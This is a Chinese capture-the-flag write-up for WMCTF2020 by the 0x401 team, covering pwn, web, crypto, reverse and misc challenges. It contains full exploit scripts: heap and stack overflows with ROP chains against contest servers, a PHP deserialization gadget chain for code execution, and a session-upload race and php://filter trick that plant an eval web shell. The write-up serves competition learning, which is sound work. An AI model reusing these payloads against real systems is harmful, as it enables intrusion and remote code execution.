Aggregator
我就感觉到快 —— zsh 和 oh my zsh 冷启动速度优化
议题发布|银针安全沙龙松山湖站议程正式发布~风里雨里我们在欧洲小镇等你~
UEBA(用户实体行为分析)内部风险
Java openrasp学习记录-2 - tr1ple
安全运营一些总结 - Afant1
How eBPF program connects with tracepoint
Linux tracing - trace event framework
一个商业窃密马的前世今生
解决在深信服 VPN 内无法通过 BurpSuite 进行抓包测试
Speech: Cyber Security in a Covid-19 world
Securing APIs: 10 Best Practices for Keeping Your Data and Infrastructure Safe
[胖猴小玩闹]智能门锁与网关第二篇: 海康萤石智能门锁的网关分析(2)
大型甲方补锅匠渡劫飞升指南(引子)
WMCTF2020 WP by 0x401
WMCTF is a Jeopardy-style Online Capture The Flag Competition presented by W&M. 以下是 0x401 Team 总结整理的 WP。
0x401战队招收各个方向的选手,欢迎投递简历至[email protected]!
PWN
- mengyedekending程序逻辑在so里面,是个.net,反编译一看洞很明显。但是需要覆盖的位置和大小都和反编译出来不太一样。估计是解释器后端内存布局和c有些不同。所以手动测测偏移,发现108偏移就是需要写的位置,写成那个变量的地址即可。
1from pwn import*2cn=remote("111.73.46.229",51000)
3context.log_level='debug'
4cn.recvuntil("you : ")
5addr = int(cn.recvuntil("\n"),16)
6success(hex(addr))
7#payload="b"*50+chr(50)+'\x00'*3+'\xe0'+"\n"
8payload="b"*50+chr(108)+p32(addr)[0]+"\n"
9# payload="b"*50+'\n'
10cn.sendafter("you want me to repeat?",payload)
11cn.sendlineafter("Do you want to change your input?","Y")
12cn.sendlineafter("lease tell me a offset",'\x41')
13cn.interactive()
-cfgo-CheckIn
前面是个迷宫问题,写个广搜搜一搜就可以。最后输入有溢出,ida找字符串,找到关键逻辑位置,可以看到大概就是会覆盖一个地址可以用来泄露,同时可以覆盖返回地址低位。于是第一次覆盖的时候覆盖泄露地址为 go 语言 mmap 出来的一块区域(0xc000000000),可以泄露 程序基地址,同时返回地址最低位改成'\xce'重启该函数。
用这种方式第一次泄露基地址,第二次泄露libc,第三次get shell。可能因为网络原因要多跑几次。
1from pwn import *2#cn=process("./pwn",shell=False)
3cn=remote("81.68.174.63",62176)
4
5class loc(object):
6 def __init__(self, x, y, pre, dir):
7 self.x = x
8 self.y = y
9 self.pre = pre
10 self.dir = dir
11
12black="\xe2\xac\x9b"
13write="\xe2\xac\x9c"
14face="\xf0\x9f\x98\x82"
15flag="\xf0\x9f\x9a\xa9"
16start_x=0
17start_y=0
18des_x=0
19des_y=0
20mapgs=[]
21length=6
22visited=[]
23
24def gen_maps(s):
25 global start_x
26 global start_y
27 global des_x
28 global des_y
29 global visited
30 global length
31 global mapgs
32 start_x = 0
33 start_y = 0
34 des_x = 0
35 des_y = 0
36 i=0
37 j=0
38 mapgs = [[0 for x in range(length)] for y in range(length)]
39 index=0
40 size=len(s)
41 visited = [[0 for x in range(length)] for y in range(length)]
42
43 while(i<length):
44 if (s[index]=='\xe2' and s[index+1]=='\xac' and s[index+2]=='\x9b'):
45 mapgs[i][j]=0
46 j=j+1
47 index=index+3
48 elif (s[index]=='\xe2' and s[index+1]=='\xac' and s[index+2]=='\x9c'):
49 mapgs[i][j]=1
50 j=j+1
51 index=index+3
52 elif (s[index]=='\xf0' and s[index+1]=='\x9f' and s[index+2]=='\x9a'and s[index+3]=='\xa9'):
53 mapgs[i][j]=3
54 des_x=i
55 des_y=j
56 j=j+1
57 index=index+4
58 elif (s[index]=='\n'):
59 index=index+1
60 j=0
61 i=i+1
62 else:
63 mapgs[i][j]=2
64 start_x=i
65 start_y=j
66 j=j+1
67 index=index+4
68
69a=[0,1,0,-1]
70b=[1,0,-1,0]
71path=['d','s','a','w']
72
73def bfs():
74 global mapgs
75 global length
76 tail = 0
77 queue = []
78
79 queue.append(loc(start_x,start_y,-1,'0'))
80 while(tail!=len(queue)):
81 current = queue[tail]
82 for i in range(4):
83 x_new = current.x+a[i]
84 y_new = current.y+b[i]
85 pre = tail
86 direction = path[i]
87 new_loc = loc(x_new,y_new,pre,direction)
88 if(x_new>=0 and x_new<length and y_new>=0 and y_new<length and mapgs[x_new][y_new]==1 and visited[x_new][y_new]==0):
89 visited[x_new][y_new]=1
90 queue.append(new_loc)
91
92 if(x_new>=0 and x_new<length and y_new>=0 and y_new<length and mapgs[x_new][y_new]==3 and visited[x_new][y_new]==0):
93 s=''
94 now = new_loc
95 while(True):
96 s = s+now.dir
97 now = queue[now.pre]
98 if(now.pre==-1):
99 return s[::-1]
100
101 tail=tail+1
102
103for i in range(100):
104 cn.recvuntil("reaching level")
105 cn.readline()
106 s=""
107 for i in range(length):
108 s=s+cn.readline()
109 print(i)
110 gen_maps(s)
111 payload=bfs()
112 cn.sendline(payload)
113 length=length+1
114
115
116
117context.log_level='debug'
118pause()
119#cn.sendlineafter(" your name:","b"*0x78+p64(0)+"b"*((0x110-0x80))+p64(0xdeedbeef))
120cn.sendlineafter(" your name:",p64(0xffffffffffffffff)*14+p64(0xc000000000)+p64(0x40)*19+'\xce')
121cn.recvuntil("Your name is : ")
122cn.recv(0x30)
123base=u64(cn.recv(8))-0x206ac0
124rdi_ret=base+0x109d3d
125ret_addr=base+0x72016
126free_got=base+0x1eeed8
127cn.sendlineafter(" your name:",p64(0xffffffffffffffff)*14+p64(free_got)+p64(0x40)*19+'\xce')
128cn.recvuntil("Your name is : ")
129free_addr=u64(cn.recv(8))
130sys_addr=free_addr -0x48440
131binsh=free_addr+0x119d5a
132# sys_addr=free_addr-0x48510
133# binsh=free_addr+0x11c54a
134success(hex(free_addr))
135#gdb.attach(cn,"b *"+hex(0x55555566D37A))
136cn.sendlineafter(" your name:",p64(0xffffffffffffffff)*14+p64(free_got)+p64(0x40)*19+p64(ret_addr)+p64(rdi_ret)+p64(binsh)+p64(sys_addr))
137cn.interactive()
-roshambo
程序大致逻辑就是服务器模式会hash时间然后用hash值创管道。客户机模式可以用这个hash值连上服务器和服务器通信。漏洞同时在客户机模式和服务机模式的最后。
这里有洞。在有tachebin情况下,malloc(0)会返回0x20的chunk(不确定在2.23情况会怎么样)。于是后面就可以直接堆溢出。
虽然客户机模式的代码也有这个洞,但是客户机模式是子线程,走的不是 main_arena,所以就不用客户机模式来打,打服务器模式的主线程就可以了。
于是在逆向交互逻辑之后,这题就变成了一个堆溢出的题了,大致关键就是把前面已经释放的堆的 size 给改掉,然后后面重新 malloc 再 free 堆就乱了。排布一下堆可以造libc地址和泄露heap地址,最后 tcachebin attack 打free_hook改成puts函数地址(因为开了沙箱,不能直接改system,这里改成puts目的是为了改成一个无害的函数,防止后面free的时候crash),同时另一个堆先在tcahce的 metadata堆占个坑。后面就可以改metadata堆泄露libc,然后泄露栈地址,最后rop。网络原因,可能要多跑几次。
1from pwn import *2context.log_level='debug'
3
4def packet(head,type,length,data):
5 s=head
6 s=s+p64(type)
7 s=s+p64(length)
8 s=s+data
9 return s
10
11def create(size,data):
12 sleep(2)
13 cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 4, 0x20, "a" * 0x20))
14 cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 8, 0x20, "a" * 0x20))
15 cn1.sendlineafter("size:", str(size))
16 cn1.sendafter(" do you want to say?", data)
17
18# cn1=process("./roshambo",shell=False)
19# cn2=process("./roshambo",shell=False)
20cn1=remote("81.68.174.63",64681)
21cn2=remote("81.68.174.63",64681)
22
23cn1.sendlineafter("Your Mode: ","C")
24cn1.sendlineafter("Authorization:","20")
25cn1.recvuntil("Your room: ")
26room=cn1.recv(32)
27cn1.sendlineafter("Your Name:","host")
28
29
30cn2.sendlineafter("Your Mode: ","L")
31cn2.sendlineafter("Your room:",room)
32cn2.sendlineafter("our Name:","guest")
33
34create(0,"ok")
35create(0x30,"ok")
36create(0x40,"ok")
37create(0x50,"ok")
38create(0x60,"ok")
39create(0,"a"*0x10+p64(0)+p64(0x751+0x60+0x70))
40
41
42cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 4, 0x20, "a" * 0x800))
43cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 8, 0x20, "a" * (0x700-0x68)+p64(0)+p64(0x21)+"a"*0x10+p64(0)+p64(0x21)))
44cn1.sendlineafter("size:", str(0x30))
45cn1.sendafter(" do you want to say?", "ok")
46sleep(2)
47
48cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 4, 0x20, "a" * 0x800))
49cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 8, 0x20, "a" * (0x700-0x68)+p64(0)+p64(0x21)+"a"*0x10+p64(0)+p64(0x21)))
50cn1.sendlineafter("size:", str(0x0))
51cn1.sendafter(" do you want to say?", "a"*0x20)
52sleep(2)
53cn1.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
54libc_addr=u64(cn1.recv(6)+"\x00"*2)-0x3ec190
55enrivon=libc_addr+0x3ee098
56free_hook=libc_addr+0x3ed8e8
57puts_addr=libc_addr+0x809c0
58rsp_ret=libc_addr+0x3960
59read_addr=libc_addr+0x110070
60rdx_rsi_ret=libc_addr+0x1306d9
61rdi_ret=libc_addr+0x2155f
62open_addr=libc_addr+0x10fc40
63puts_addr=libc_addr+0x809c0
64
65
66create(0,"a"*0x50+p64(0)+p64(0x61)+p64(free_hook-0x20))
67create(0x40,"a")
68create(0,"a"*0x60)
69cn1.recvuntil("a"*0x60)
70heap_addr=u64(cn1.recv(6)+"\x00"*2)-0x430
71create(0,"a"*0x100+p64(0)+p64(0x121)+p64(heap_addr+0x50))
72create(0x60,"a")
73create(0x40,'\x00'*0x20+p64(puts_addr))
74create(0x60,p64(enrivon-1)+p64(heap_addr+0x10)+p64(heap_addr+0x50)*8)
75
76create(0x10,"a")
77cn1.recvuntil('leave: a')
78stack_addr=u64(cn1.recv(6)+"\x00"*2)
79rop_addr=stack_addr-0x100
80success(hex(stack_addr))
81success(hex(heap_addr))
82success(hex(libc_addr))
83create(0x50,p64(rop_addr)*9)
84#gdb.attach(cn1,"b *"+hex(0x5555555569E0))
85create(0x50,p64(rdi_ret)+p64(0)+p64(rdx_rsi_ret)+p64(0x1000)+p64(heap_addr+0x2000)+p64(read_addr)+p64(rsp_ret)+p64(heap_addr+0x2000))
86gadget=p64(rdi_ret)+p64(0)+p64(rdx_rsi_ret)+p64(0x1000)+p64(heap_addr+0x2300)+p64(read_addr)
87gadget+=p64(rdi_ret)+p64(heap_addr+0x2300)+p64(rdx_rsi_ret)+p64(0)*2+p64(open_addr)
88gadget+=p64(rdi_ret)+p64(5)+p64(rdx_rsi_ret)+p64(0x100)+p64(heap_addr+0x2500)+p64(read_addr)
89gadget+=p64(rdi_ret)+p64(heap_addr+0x2500)+p64(puts_addr)
90pause()
91cn1.sendline(gadget)
92pause()
93cn1.sendline("flag\x00")
94cn1.interactive()
-babymac
程序逻辑就是可以溢出0x10字节一次。之前也不熟悉mac,google搜了下找了些资料。
参考资料链接:https://blog.shpik.kr/2019/OSX_Heap_Exploitation/
mac tinybin 在free后会在前两个内存放 pre 指针和 next 指针,存的方式是 addr>>4,之后高4 bit会存一个checksum用来验证。貌似tinybin唯一验证就是只检查这个checksum,然后 checksum 只有4bit, 所以完全可以爆破。
程序的16bit溢出刚好就可以改下一个被释放的堆的 pre 和 next 指针。unlink时候只会执行 next->pre = ptr->pre,于是按照上面的说法,第一个空间改成 value,第二空间改成target addr>>4(高4位随便一个值,反正要爆破),就可以通过unlink将 heap_list 的一个地址给改成got表地址。
但是实际测试的时候发现mac的堆分配很随机,每次分配用的region都是随机的。但是问题不大,只要分配和释放的堆足够多,总有一次触发unlink,并且通过1/16的爆破。
所以大概就是unlink把15号堆地址改成atoi_got。提前在15号堆里面写好一个字符串,每次重新malloc的时候就检查这个字符串有无变化,如果变了的话就说明unlink成功,15号堆地址被改成atoi_got了。后面就可以把atoi_got改成system地址拿flag了。
2
3
4
5def add(size):
6 cn.sendlineafter("Q] Exi",'A')
7 cn.sendlineafter("ize?",str(size))
8
9def erase(id):
10 cn.sendlineafter("Q] Exi",'D')
11 cn.sendlineafter("idx? ",str(id))
12
13def show(id):
14 cn.sendlineafter("Q] Exi",'S')
15 cn.sendlineafter("idx? ",str(id))
16
17def overflow(id,data):
18 cn.sendlineafter("Q] Exi",'M')
19 cn.sendlineafter("idx? ",str(id))
20 cn.sendafter("ontent?",data)
21
22def edit(id,data):
23 cn.sendlineafter("Q] Exi",'E')
24 cn.sendlineafter("idx? ",str(id))
25 cn.sendafter("ontent?",data)
26
27def transform(addr):
28 return addr>>4
29
30
31while True:
32 try:
33 flag=0
34 cn=remote("43.226.148.54",20000)
35 cn.sendafter("Say something?","WMCTF\x00")
36 cn.recvuntil("gift:")
37 main_addr=int(cn.recv(11),16)
38 base=main_addr-0x1510
39 success(hex(base))
40 strange = 3
41
42 for i in range(16):
43 add(0x40)
44
45 for i in range(15):
46 if(i!=strange):
47 erase(i)
48
49 edit(15,"Empty!")
50 overflow(strange,"a"*0x40+p64(base+0x3010)+p64(transform(base+0x3080+0xf0)))
51 success(hex(transform(base+0x3080+0xf0)))
52 for i in range(12):
53 success(i)
54 add(0x40)
55 show(15)
56 s = cn.readline()
57 if "Empty!" not in s:
58 success("WIN")
59 context.log_level = 'debug'
60 show(15)
61 sys_addr=u64(cn.recv(6)+"\x00"*2)+0x1ddcc
62 success(hex(sys_addr))
63 edit(15,p64(sys_addr)*4)
64 cn.sendlineafter("Q] Exi", 'A')
65 cn.sendlineafter("ize?", "/readflag\x00")
66 cn.interactive()
67
68 flag=1
69 break
70
71 if(flag==1):
72 break
73
74 except:
75 continue
Web
- webweb__destruct -> __call
$this->db->quotekey($key)这里进行RCE
1<?php2namespace DB\SQL{
3class Mapper
4{
5 public $props;
6 public function __construct()
7 {
8 $this->db = $this;
9 $this->adhoc=['/etc/flagzaizheli'=>["expr"=>"qianwen"]];
10 $this->props = ['quotekey' => "readfile"];
11 }
12}
13}
14
15namespace cli{
16use DB\SQL\Mapper;
17class Agent
18{
19 public function __construct()
20 {
21 $this->server = $this;
22 $this->events = ["disconnect"=>[new Mapper(),'find']];
23 }
24}
25class WS{
26 public function __construct()
27 {
28 $this->qianwen = new Agent();
29 }
30}
31echo urlencode(serialize(new WS()));
32}
33
- web_checkin
经过一堆测试,发现flag居然就在/flag,一读就有
- Make PHP Great Again猜测是通过PHP_SESSION_UPLOAD_PROGRESS可控进行的。参考连接:https://zhuanlan.zhihu.com/p/139229792给出了exp,但是测试发现cookies并没有存放在exp给的路径(因为没包含到会500,包含到了是200),于是一番探寻,发现cookies存在/tmp/下面
首先写个shell。
2import sys
3import requests
4import threading
5
6sessid = 'Dftm'
7
8proxies={"http":"http://127.0.0.1:8081"}
9proxies=None
10def POST(session):
11 while True:
12 f = io.BytesIO(b'a' * 1024 * 500)
13 session.post(
14 'http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php',
15 data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php echo 'fuckyou';file_put_contents('/tmp/sess_hackapu',base64_decode('PD9waHAgZXZhbCgkX0dFVFsnYSddKTs/Pg=='));?>"},
16 files={"file":('q.txt', f)},
17 cookies={'PHPSESSID':sessid},proxies=proxies
18 )
19 print('Post Done')
20
21def READ(session):
22 while True:
23 response = session.get(f'http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php?file=../../../../../../../../tmp/sess_{sessid}',proxies=proxies)
24 # print('[+++]retry')
25 # print(response.text)
26
27 if 'fuckyou' not in response.text:
28 print('[+++]retry')
29 else:
30 print(response.text)
31 sys.exit(0)
32
33with requests.session() as session:
34 t1 = threading.Thread(target=POST, args=(session, ))
35 t1.daemon = True
36 t1.start()
37
38 READ(session)
接着再连接shell在/var/www/html/flag.php找到flag
和 web_checkin1 不同这次flag不在/flag了,于是需要真的把shell写进去然后包含,本想要string.strip_tags结果由于php7.0的缺陷,会导致segmentation_fault,导致写入失败。想来想去还是得利用php filter的特性来搞。对stream_get_filters的结果翻了又翻,发现还有个用于压缩和解压的zlib流,但是zlib压缩解压对数据都是一样的效果,所以还需要搞点事情,让前面的“死亡exit”被破坏掉。我们经过测试发现string.tolower可以让数据部分破坏,但是我们可以精心fuzz出一个结果,让我们的shell即使经过这个过程也依旧能够执行。
最后我们写shell的payload如下
1php://filter/write=zlib.deflate|string.tolower|zlib.inflate/resource=<?PHP eval( $_GET[a ] )?>这个payload会生成一个叫做的shell,但是里面的a被弄成了c。于是首先写入shell(写wp时发现国内外的题目服务器都500了,拿自己的来)
然后包含这个shell,get参数c里面填入想执行的代码(末尾加上exit();防止shell被写入)即可RCE,最后flag在根目录里一个奇形怪状的文件里面
Crypto
- piece_of_cake这题用了个投机的做法,绕开了出题人精心设置的难题。本来审计代码发现,应该是要通过 make_cake 函数去求解未知参数e,但是在我实际对函数 make_cake 进行测试的时候发现,由于每次服务器会自动生成数据,而且没有对数据进行特别严格的检查,所以可以不断地请求数据,直到请求出一组特定的数据,使原问题一个较为简单的二维 NTRU 问题。在验证函数 eat_cake 中,也有类似的二维 NTRU 问题,因此可以直接不停的请求 eat_cake 的数据,直到一组能解的为止。(可以选择多线程池的请求以及自动化的数据筛选)
下图是原问题中二维NTRU的一个典型实现,其中f,g是私钥。通过多次的测试和规约,直到解出两个均为正数的f,g,并且轻松地求出cake,提交就能获得flag。二维NTRU的解法很简单,构造格[1,h][0,p],使用高斯规约或者直接LLL/BKZ规约即可求解SVP。
至于正解,一直没时间想,比赛结束以后可以思考思考。
- babySum120维的子集和问题,给了汉明距离k,其中k远小于维数的一半,密度也比较低,这种情况被称为低密度低重量不平衡背包。由于k较小,解集中大多数都是0,可以随机指定一些位置为0,使这些维不参与实际的运算,达到降维的目的。在这个题目中,随机删除的位置数是15,使用的格是
1import random2import re
3import logging
4import multiprocessing as mp
5from functools import partial
6import time
7logging.basicConfig(level=logging.DEBUG)
8ZERO_FORCE = 15
9def check(sol, A, s):
10 return sum(x*a for x, a in zip(sol, A)) == s
11
12def solve(A, n, k, s, r, ID=None, BS=22):
13 N = ceil(sqrt(n))
14 rand = random.Random(x=ID)
15 indexes = set(range(n))
16 small_vec = None
17
18 while True:
19
20 kick_out = set(sample(range(n), r))
21 new_set = [A[i] for i in indexes - kick_out]
22
23 lattice = []
24 for i,a in enumerate(new_set):
25 lattice.append([1*(j==i) for j in range(n-r)] + [N*a] + [N])
26 lattice.append([0]*(n-r) + [N*s] + [k*N])
27 shuffle(lattice, random=rand.random)
28 m = matrix(ZZ, lattice)
29 m_BKZ = m.BKZ(block_size=BS)
30
31 print("BKZ finished")
32 row = m_BKZ[0]
33 for i in range(1):
34 if check(row, new_set, s) and row.norm()^2 < 300:
35 if small_vec == None:
36 small_vec = row
37 print(small_vec)
38 print(kick_out)
39 elif small_vec.norm() > row.norm():
40 small_vec = row
41 print(small_vec)
42 print(kick_out)
43 if row.norm()^2 == k:
44
45 print("yes!!!!!!!!!!!!!!!!!")
46 print(row)
47 print(kick_out)
48 return True
49
50
51task = [...,[...]]
52s = task[0]
53A = task[1]
54CPU_CORE_NUM = 4
55
56solve_n = partial(solve, A, 120, 20, s, ZERO_FORCE)
57pool = mp.Pool(CPU_CORE_NUM)
58reslist = pool.imap_unordered(solve_n, range(CPU_CORE_NUM))
59for res in reslist:
60 if res:
61 pool.terminate()
62 break
- Sum
和上面那题差不多,解法也基本一样,但是维数从120增加到了180。维度扩张以后,BKZ算法求解SVP问题的成功率大大下降,这就不是一般的计算机能计算的问题了。在这个问题中,我选择随机删除40个位置,降到140维,然后租用了一个80核的腾讯云服务器,开了80个进程同时跑,在运算了不知多少个小时以后(大概10h),它跑出了结果。用下图记录这一经典的时刻:
- Game一个逐位爆破的题,主要考察分组密码的模式。在这里我们知道了初始IV,因此可以预测每一次加密中的IV值,然后secret是48个字节,只需要填充47,46,45….位,得到一个加密结果,然后再从0x00到0xff逐位爆破,并与第一次加密结果对比,如果相同则说明这一位猜测正确了。用这种方法可以慢慢地,每一位每一位地搞出所有的位。另外记录一下解题中遇到的bug,由于我在填充的时候一开始加了已爆出的secret位,导致每次都只能爆出相同的第一位,卡了好久才想明白为什么…另,这题似乎还是从实战中TLS改编而来。
1from hashlib import sha2562from pwnlib.util.iters import mbruteforce
3from pwn import *
4import string
5from Crypto.Util.strxor import strxor
6rs = remote("81.68.174.63", 16442)
7secret = ""
8
9def proof_of_work(p):
10 p.recvuntil("XXXX+")
11 suffix = p.recvuntil(')').decode("utf8")[:-1]
12 log.success(suffix)
13 p.recvuntil("== ")
14 cipher = p.recvline().strip().decode("utf8")
15 proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
16 p.sendlineafter("Give me XXXX:", proof)
17proof_of_work(rs)
18rs.recvuntil("IV is: ")
19IV = rs.recvline().strip()
20log.success("IV is:" + IV)
21#rs.interactive()
22nextiv = IV
23for _ in range(48):
24 rs.recvuntil(">")
25 rs.sendline('1')
26 rs.recvuntil("Your message (in hex): ")
27 payload = "a".encode('hex')*(48-len(secret)//2-1)
28 rs.sendline(nextiv + payload)
29 recvd = rs.recvuntil("\n")[:-1]
30 nextiv = recvd[-32:]
31 tobefucked = recvd[96:128]
32 for i in range(256):
33 rs.recvuntil("> ")
34 rs.sendline('1')
35 rs.recvuntil("Your message (in hex): ")
36 rs.sendline(nextiv +payload +secret + hex(i)[2:].zfill(2))
37 recvd = rs.recvuntil("\n")[:-1]
38 nextiv = recvd[-32:]
39 if recvd[96:128] == tobefucked:
40 log.success("test success!")
41 secret += hex(i)[2:].zfill(2)
42 log.success(secret)
43 break
44rs.interactive()
Reverse
- esay_re此题主要是perl写的一个程序,直接下断点单步跟。就可找到flag。
WMCTF{I_WAnt_dynam1c_F1ag}
首先有个坑,程序读取的是键盘index码,而不是ascii码。在0xb28的Call内读取键盘数据,接着把每个数据加上0x55,并按照列优先填充至一个6*6的数组。再跳转至0x6000,再按照行优先每4个一组解析成9个int类型,进行一系列运算,最后和0x5700的常量进行比较。
1import z32import numpy as np
3from functools import reduce
4
5s = '1234567890_+qwertyuiop{}asdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
6sign = '02030405060708090a0b0c0d101112131415161718191a1b1e1f202122232425262c2d2e2f303132404142434445464748494e4f505152535455565c5d5e5f606162'
7s2 = ['0x' + sign[2 * i:2 * i + 2] for i in range(len(s))]
8
9table = {}
10for i in zip(s, s2):
11 table[i[0]] = int(i[1], 16)
12
13
14def process(s):
15 return '0x' + ''.join(reversed([s[2 * i: 2 * i + 2] for i in range(4)]))
16
17
18result = 'd87455ecb5041a42116dba025f050581286ca0ed9904e06ae755a9189135d67164a83745'
19results = [process(result[8 * i: 8 * i + 8]) for i in range(9)]
20
21flag = [z3.BitVec('flag_%d' % i, 8) for i in range(36)]
22flag2 = np.array([i + 0x55 for i in flag]).reshape(6, 6)
23flag2 = flag2.T
24flag2 = flag2.reshape(-1)
25flag2 = [i for i in flag2]
26
27flag3 = [reduce(z3.Concat, reversed(flag2[i * 4:i * 4 + 4])) for i in range(9)]
28i = 0
29v39 = 0
30while True:
31 if i == 9:
32 i = 0
33 v39 += 1
34 if v39 == 129:
35 break
36 v41 = (i + 1) % 9
37 v44 = v39 % 3
38 if v44 == 0:
39 flag3[i] = ~((~ flag3[v41] | ~ flag3[i]) & (flag3[v41] | flag3[i]) & 0x24114514) & ~(
40 ~((~ flag3[v41] | ~ flag3[i]) & (flag3[v41] | flag3[i])) & 0xDBEEBAEB)
41 elif v44 == 1:
42 flag3[i] = ~(~(flag3[v41] & flag3[i]) & ~(~ flag3[v41] & ~ flag3[i])) & 0x1919810 | ~(
43 flag3[v41] & flag3[i]) & ~(~ flag3[v41] & ~ flag3[i]) & 0xFE6E67EF
44 else:
45 flag3[i] = (~(flag3[v41] & ~ flag3[i] | ~ flag3[v41] & flag3[i]) | 0xE6D9F7E8) & (
46 flag3[v41] & ~ flag3[i] | ~ flag3[v41] & flag3[i] | 0x19260817)
47 i = i + 1
48s = z3.Solver()
49for i in zip(flag3, results):
50 s.add(i[0] == int(i[1], 16))
51print(s.check())
52m = s.model()
53for i in flag:
54 t = m[i].as_long()
55 for item in table:
56 if t == table[item]:
57 print(item, end='')
Misc- Music_game_2
程序的逻辑是,读入wav音频文件,提取MFCC特征,把MFCC特征输入网络,网络得到分类结果。所以这题的目的就是生成其他三个方向(左右下)的音频,这个音频需满足:1. 与原音频MFCC特征的平均绝对误差小于4。2.分类的可信度大于0.9。
首先使用:
2keras.utils.plot_model(model, 'model.png', show_shapes=True)
输出网络结构:
原网络就是一个简单的全连接网络,根据以上两个要求,在原基础搭建新的网络。
1base_model = keras.models.load_model('model.h5')2
3inp = keras.Input(shape=(30, 20))
4x = keras.layers.Dense(20)(inp)
5x1 = keras.layers.Dense(20)(x)
6out1 = keras.layers.Subtract(name='output1')([x1, inp])
7out2 = base_model(x1)
8
9model = keras.Model(inputs=[inp], outputs=[out1, out2])
10model.layers[4].trainable = False
网络结构如下:
sequential层需冻结,所以可训练参数就是两个全连接层:2(2020+20)=840。
网络输入是原音频MFCC特征,经过两个全连接变换后的输出即是我们要拟合的其他方向的MFCC特征,接着把这个特征输入到两个输出层:左边的sequential即原网络满足条件2,loss使用交叉熵categorical_crossentropy、右边的substract,用拟合的MFCC-原音频MFCC,这个结果趋近0(也可以直接输出拟合的MFCC,最后使得结果趋近原音频MFCC即可)就满足条件1,loss使用均方误差mean_squared_error。
训练的时候,input就是example.wav的mfcc,output1是对应方向的one-hot表示、output2是shape = [?,30,20] 的全 0 tensor。
如,right方向训练:
2outputs = [np.zeros(shape=(5000, 30, 20)), np.array([0, 0, 0, 1] * 5000).reshape(5000, 4)]
3model.fit(inputs, outputs, batch_size=50, epochs=50)
最后把mfcc特征转换成时域的音频信号得到各个方向的音频文件,再使用这些音频文件走到终点即可。
1mfcc1 = get_wav_mfcc('example.wav')2
3model = keras.models.load_model('h5/down.h5')
4aa1, aa2 = model(mfcc1.reshape(1, 30, 20))
5aa1 = aa1.numpy()
6aa2 = aa2.numpy()
7
8print(np.mean(np.absolute(aa1)))
9print(aa2)
10omfcc = aa1.reshape(30, 20) + mfcc1
11x = librosa.feature.inverse.mfcc_to_audio(omfcc.T, sr=16000)
12sf.write('sound/down.wav', x, 16000, subtype='PCM_24')
2
3sess = requests.session()
4url = 'https://game2.wmctf1.wetolink.com:4430/'
5
6print(sess.get(url).text)
7while True:
8 direct = input('next:')
9 times = int(input('times:'))
10 path = 'sound/' + direct + '.wav'
11 for i in range(times):
12 print(sess.post(url, files={'upfile': open(path, 'rb')}).text)
13 print(sess.get(url).text)
FeedBack
问卷送分题,没啥好写。
- Signin签到题
- XMAN_Happy_birthday!看文件名就知道是反序列输出HEX
xxd -i命令输出C代码
然后编写python脚本进行反序列输出
2 t = f.read().replace('\n','').split(',')
3t.reverse()
4with open('out.zip','wb') as f:
5 for i in t:
6 f.write(bytes([int(i,16)]))
打开即可得到flag。
- Music_game用标准的美式发音控制up,down,left,right,坦克走到终点弹出flag。